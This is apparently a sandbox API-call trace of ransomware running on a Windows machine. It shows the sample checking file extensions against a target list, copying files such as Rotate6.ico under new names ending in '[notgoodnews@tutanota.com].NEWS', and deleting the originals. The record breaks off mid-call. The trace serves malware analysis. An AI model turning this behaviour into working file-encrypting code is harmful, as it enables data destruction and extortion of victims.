[0065.141] lstrlenW (lpString=".bz2") returned 4 [0065.141] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0065.141] lstrlenW (lpString=".7z") returned 3 [0065.141] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0065.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0065.141] lstrlenW (lpString=".dbf") returned 4 [0065.141] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0065.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0065.141] lstrlenW (lpString=".1cd") returned 4 [0065.141] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0065.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0065.141] lstrlenW (lpString=".jpg") returned 4 [0065.141] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0065.142] lstrcmpiW (lpString1=".ico", lpString2=".NEWS") returned -1 [0065.142] lstrlenW (lpString="Rotate6.ico") returned 11 [0065.142] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0065.142] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=894) returned 1 [0065.142] CloseHandle (hObject=0x35c) returned 1 [0065.142] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 0x80 [0065.142] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.142] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0065.142] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.142] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.142] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0065.143] GetLastError () returned 0x0 [0065.143] ReadFile (in: hFile=0x35c, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x37e, lpOverlapped=0x0) returned 1 [0065.176] WriteFile (in: hFile=0x378, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x380, lpOverlapped=0x0) returned 1 [0065.177] ReadFile (in: hFile=0x35c, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.178] WriteFile (in: hFile=0x378, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xea, lpOverlapped=0x0) returned 1 [0065.178] SetEndOfFile (hFile=0x378) returned 1 [0065.178] CloseHandle (hObject=0x378) returned 1 [0065.179] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.179] SetEndOfFile (hFile=0x35c) returned 1 [0065.180] CloseHandle (hObject=0x35c) returned 1 [0065.180] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.180] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 1 [0065.180] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0065.180] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0065.180] lstrlenW (lpString=".doc") returned 4 [0065.180] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.180] lstrlenW (lpString=".docx") returned 5 [0065.180] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1 [0065.180] lstrlenW (lpString=".pdf") returned 4 [0065.180] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.181] lstrlenW (lpString=".xls") returned 4 [0065.181] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.181] lstrlenW (lpString=".xlsx") returned 5 [0065.181] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1 [0065.181] lstrlenW (lpString=".ppt") returned 4 [0065.181] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0065.181] lstrlenW (lpString=".zip") returned 4 [0065.181] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.181] lstrlenW (lpString=".rar") returned 4 [0065.181] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.181] lstrlenW (lpString=".bz2") returned 4 [0065.181] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.181] lstrlenW (lpString=".7z") returned 3 [0065.181] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0065.181] lstrlenW (lpString=".dbf") returned 4 [0065.181] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0065.181] lstrlenW (lpString=".1cd") returned 4 [0065.181] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0065.181] lstrlenW (lpString=".jpg") returned 4 [0065.181] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0065.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0065.181] lstrlenW (lpString=".doc") returned 4 [0065.182] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.182] lstrlenW (lpString=".docx") returned 5 [0065.182] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1 [0065.182] lstrlenW (lpString=".pdf") returned 4 [0065.182] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.182] lstrlenW (lpString=".xls") returned 4 [0065.182] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.182] lstrlenW (lpString=".xlsx") returned 5 [0065.182] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1 [0065.182] lstrlenW (lpString=".ppt") returned 4 [0065.182] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0065.182] lstrlenW (lpString=".zip") returned 4 [0065.182] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.182] lstrlenW (lpString=".rar") returned 4 [0065.182] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.182] lstrlenW (lpString=".bz2") returned 4 [0065.182] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.182] lstrlenW (lpString=".7z") returned 3 [0065.182] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0065.182] lstrlenW (lpString=".dbf") returned 4 [0065.182] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0065.182] lstrlenW (lpString=".1cd") returned 4 [0065.182] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0065.182] lstrlenW (lpString=".jpg") returned 4 [0065.182] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.183] lstrcmpiW (lpString1=".ico", lpString2=".NEWS") returned -1 [0065.183] lstrlenW (lpString="Rotate7.ico") returned 11 [0065.183] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0065.183] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=894) returned 1 [0065.183] CloseHandle (hObject=0x35c) returned 1 [0065.183] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 0x80 [0065.183] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.183] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0065.183] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.183] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.183] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0065.184] GetLastError () returned 0x0 [0065.184] ReadFile (in: hFile=0x35c, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x37e, lpOverlapped=0x0) returned 1 [0065.185] WriteFile (in: hFile=0x378, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x380, lpOverlapped=0x0) returned 1 [0065.186] ReadFile (in: hFile=0x35c, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.186] WriteFile (in: hFile=0x378, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xea, lpOverlapped=0x0) returned 1 [0065.186] SetEndOfFile (hFile=0x378) returned 1 [0065.186] CloseHandle (hObject=0x378) returned 1 [0065.188] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.188] SetEndOfFile (hFile=0x35c) returned 1 [0065.189] CloseHandle (hObject=0x35c) returned 1 [0065.189] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.190] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 1 [0065.190] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0065.190] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0065.190] lstrlenW (lpString=".doc") returned 4 [0065.190] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.190] lstrlenW (lpString=".docx") returned 5 [0065.190] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1 [0065.190] lstrlenW (lpString=".pdf") returned 4 [0065.190] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.190] lstrlenW (lpString=".xls") returned 4 [0065.190] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.190] lstrlenW (lpString=".xlsx") returned 5 [0065.190] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1 [0065.190] lstrlenW (lpString=".ppt") returned 4 [0065.190] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.190] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0065.190] lstrlenW (lpString=".zip") returned 4 [0065.190] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.190] lstrlenW (lpString=".rar") returned 4 [0065.190] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.190] lstrlenW (lpString=".bz2") returned 4 [0065.190] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.190] lstrlenW (lpString=".7z") returned 3 [0065.190] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.190] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0065.190] lstrlenW (lpString=".dbf") returned 4 [0065.190] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.191] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0065.191] lstrlenW (lpString=".1cd") returned 4 [0065.191] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.191] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0065.191] lstrlenW (lpString=".jpg") returned 4 [0065.191] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.191] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0065.191] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0065.191] lstrlenW (lpString=".doc") returned 4 [0065.191] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.191] lstrlenW (lpString=".docx") returned 5 [0065.191] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1 [0065.191] lstrlenW (lpString=".pdf") returned 4 [0065.191] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.191] lstrlenW (lpString=".xls") returned 4 [0065.191] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.191] lstrlenW (lpString=".xlsx") returned 5 [0065.191] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1 [0065.191] lstrlenW (lpString=".ppt") returned 4 [0065.191] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.191] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0065.191] lstrlenW (lpString=".zip") returned 4 [0065.191] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.191] lstrlenW (lpString=".rar") returned 4 [0065.191] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.191] lstrlenW (lpString=".bz2") returned 4 [0065.191] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.191] lstrlenW (lpString=".7z") returned 3 [0065.191] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.191] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0065.191] lstrlenW (lpString=".dbf") returned 4 [0065.191] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.191] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0065.191] lstrlenW (lpString=".1cd") returned 4 [0065.191] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.192] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0065.192] lstrlenW (lpString=".jpg") returned 4 [0065.192] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.192] lstrcmpiW (lpString1=".ico", lpString2=".NEWS") returned -1 [0065.192] lstrlenW (lpString="Rotate8.ico") returned 11 [0065.192] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0065.217] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=894) returned 1 [0065.218] CloseHandle (hObject=0x33c) returned 1 [0065.218] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 0x80 [0065.218] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.219] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0065.219] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.219] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.219] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0065.219] GetLastError () returned 0x0 [0065.219] ReadFile (in: hFile=0x358, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x37e, lpOverlapped=0x0) returned 1 [0065.234] WriteFile (in: hFile=0x35c, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x380, lpOverlapped=0x0) returned 1 [0065.235] ReadFile (in: hFile=0x358, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.235] WriteFile (in: hFile=0x35c, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xea, lpOverlapped=0x0) returned 1 [0065.235] SetEndOfFile (hFile=0x35c) returned 1 [0065.235] CloseHandle (hObject=0x35c) returned 1 [0065.236] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.236] SetEndOfFile (hFile=0x358) returned 1 [0065.237] CloseHandle (hObject=0x358) returned 1 [0065.237] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.238] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 1 [0065.238] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0065.238] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0065.238] lstrlenW (lpString=".doc") returned 4 [0065.238] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.238] lstrlenW (lpString=".docx") returned 5 [0065.238] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1 [0065.238] lstrlenW (lpString=".pdf") returned 4 [0065.238] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.238] lstrlenW (lpString=".xls") returned 4 [0065.238] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.238] lstrlenW (lpString=".xlsx") returned 5 [0065.238] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1 [0065.238] lstrlenW (lpString=".ppt") returned 4 [0065.238] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.238] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0065.238] lstrlenW (lpString=".zip") returned 4 [0065.238] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.238] lstrlenW (lpString=".rar") returned 4 [0065.238] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.238] lstrlenW (lpString=".bz2") returned 4 [0065.238] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.238] lstrlenW (lpString=".7z") returned 3 [0065.238] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.238] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0065.238] lstrlenW (lpString=".dbf") returned 4 [0065.238] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.238] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0065.238] lstrlenW (lpString=".1cd") returned 4 [0065.239] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.239] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0065.239] lstrlenW (lpString=".jpg") returned 4 [0065.239] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.239] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0065.239] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0065.239] lstrlenW (lpString=".doc") returned 4 [0065.239] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.239] lstrlenW (lpString=".docx") returned 5 [0065.239] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1 [0065.239] lstrlenW (lpString=".pdf") returned 4 [0065.239] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.239] lstrlenW (lpString=".xls") returned 4 [0065.239] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.239] lstrlenW (lpString=".xlsx") returned 5 [0065.239] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1 [0065.239] lstrlenW (lpString=".ppt") returned 4 [0065.239] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.239] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0065.239] lstrlenW (lpString=".zip") returned 4 [0065.239] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.239] lstrlenW (lpString=".rar") returned 4 [0065.239] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.239] lstrlenW (lpString=".bz2") returned 4 [0065.239] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.239] lstrlenW (lpString=".7z") returned 3 [0065.239] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.239] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0065.239] lstrlenW (lpString=".dbf") returned 4 [0065.239] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.239] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0065.239] lstrlenW (lpString=".1cd") returned 4 [0065.239] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.240] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0065.240] lstrlenW (lpString=".jpg") returned 4 [0065.240] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.240] lstrcmpiW (lpString1=".ico", lpString2=".NEWS") returned -1 [0065.240] lstrlenW (lpString="SysReqMet.ico") returned 13 [0065.240] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0065.240] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1150) returned 1 [0065.240] CloseHandle (hObject=0x358) returned 1 [0065.240] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 0x80 [0065.240] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.240] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0065.240] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.240] SetFilePointerEx (in: hFile=0x358, 